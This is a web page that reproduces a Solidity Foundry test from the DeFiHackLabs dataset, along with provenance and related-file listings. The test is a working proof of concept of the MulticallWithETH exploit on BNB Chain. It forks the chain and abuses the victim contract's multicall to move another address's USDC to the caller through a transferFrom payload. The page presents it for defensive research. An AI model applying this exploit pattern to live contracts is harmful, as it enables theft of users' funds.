Public reproduction file
src/test/2025-07/MulticallWithETH_exp.sol
Public reproduction file for dataset entry MulticallWithETH.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.13;5import "forge-std/Test.sol";6import "../interface.sol";8// @KeyInfo - Total Lost : ~10 K usdt9// Original Attacker : https://bscscan.com/address/0x726fb298168c89d5dce9a578668ab156c7e7be6710// Attack Contract : https://bscscan.com/address/0x756d614e3d277baea260f64cc2ab9a3ac89877d311// Vulnerable Contract: https://bscscan.com/address/0x3da0f00d5c4e544924bc7282e18497c4a4c9204612// Attack Tx : https://bscscan.com/tx/0x6da7be6edf3176c7c4b15064937ee7148031f92a4b72043ae80a2b3403ab630216contract MulticallWithETH is Test {17 address USDC = 0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d;18 address victim=0x3DA0F00d5c4E544924bC7282E18497C4A4c92046;20 struct Call {21 address target;22 bytes callData;23 uint256 value;24 bool allowFailure;25 }28 function setUp() public {29 vm.createSelectFork("bsc", 55371342);30 }32 function testExploit() public {33 bytes memory data=abi.encodeWithSelector(0x23b872dd,address(0xfb0De204791110Caa5535aeDf4E71dF5bA68A581),address(this),IERC20(USDC).balanceOf(address(0xfb0De204791110Caa5535aeDf4E71dF5bA68A581)));34 Call[] memory call = new Call[](1);35 call[0] = Call({36 target: address(USDC),37 callData: data,38 value: 0,39 allowFailure: false40 });44 address(victim).call(abi.encodeWithSelector(0xc9586258, call));46 emit log_named_decimal_uint("Balance after the attack",IERC20(USDC).balanceOf(address(this)), 18);47 }50}Analysis
Dataset entry
Public Foundry test for “MulticallWithETH” (2025-07-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
22 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-07/ActivePoolScrvUsdUrgentRedemption_exp.solSame month in the dataset · 200 lines
- src/test/2025-07/ActivePoolUrgentRedemption_exp.solSame month in the dataset · 194 lines
- src/test/2025-07/AnyswapWETHPermit_exp.solSame month in the dataset · 127 lines
- src/test/2025-07/AvaxBIFKNPair_exp.solSame month in the dataset · 213 lines
- src/test/2025-07/BoJLeverageMarket_exp.solSame month in the dataset · 193 lines
- src/test/2025-07/EmptySetReserve_exp.solSame month in the dataset · 196 lines
- src/test/2025-07/FPC_exp.solSame month in the dataset · 83 lines
- src/test/2025-07/gmx_exp.solSame month in the dataset · 427 lines
- src/test/2025-07/RANTToken_exp.solSame month in the dataset · 108 lines
- src/test/2025-07/Stepp2p_exp.solSame month in the dataset · 59 lines
- src/test/2025-07/StrategyLlamaLendConvex_exp.solSame month in the dataset · 104 lines
- src/test/2025-07/SuperRare_exp.solSame month in the dataset · 80 lines
- src/test/2025-07/SWAPPStaking_exp.solSame month in the dataset · 197 lines
- src/test/2025-07/unverified_8fd3_exp.solSame month in the dataset · 105 lines
- src/test/2025-07/unverified_54cd_exp.solSame month in the dataset · 77 lines
- src/test/2025-07/Unverified670471_exp.solSame month in the dataset · 160 lines
- src/test/2025-07/Unverified6883_exp.solSame month in the dataset · 224 lines
- src/test/2025-07/UPENGBurnSync_exp.solSame month in the dataset · 115 lines
- src/test/2025-07/VDS_exp.solSame month in the dataset · 82 lines
- src/test/2025-07/WETC_Token_exp.solSame month in the dataset · 78 lines
- src/test/2025-07/WhereIsMyDragonTreasure_exp.solSame month in the dataset · 137 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attack Contract
0x756d614e3d277baea260f64cc2ab9a3ac89877d3
- Vulnerable Contract
0x3da0f00d5c4e544924bc7282e18497c4a4c92046
- Attack Tx
0x6da7be6edf3176c7c4b15064937ee7148031f92a4b72043ae80a2b3403ab6302
File record
- Name
- MulticallWithETH
- Path
- src/test/2025-07/MulticallWithETH_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- da3e3e0ffaf62cd14cdb16b59de88f5784f3213c
- Language
- Solidity
- Size
- 52 lines
- Date
- 2025-07-26
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-07/MulticallWithETH_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob da3e3e0ffaf62cd14cdb16b59de88f5784f3213c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.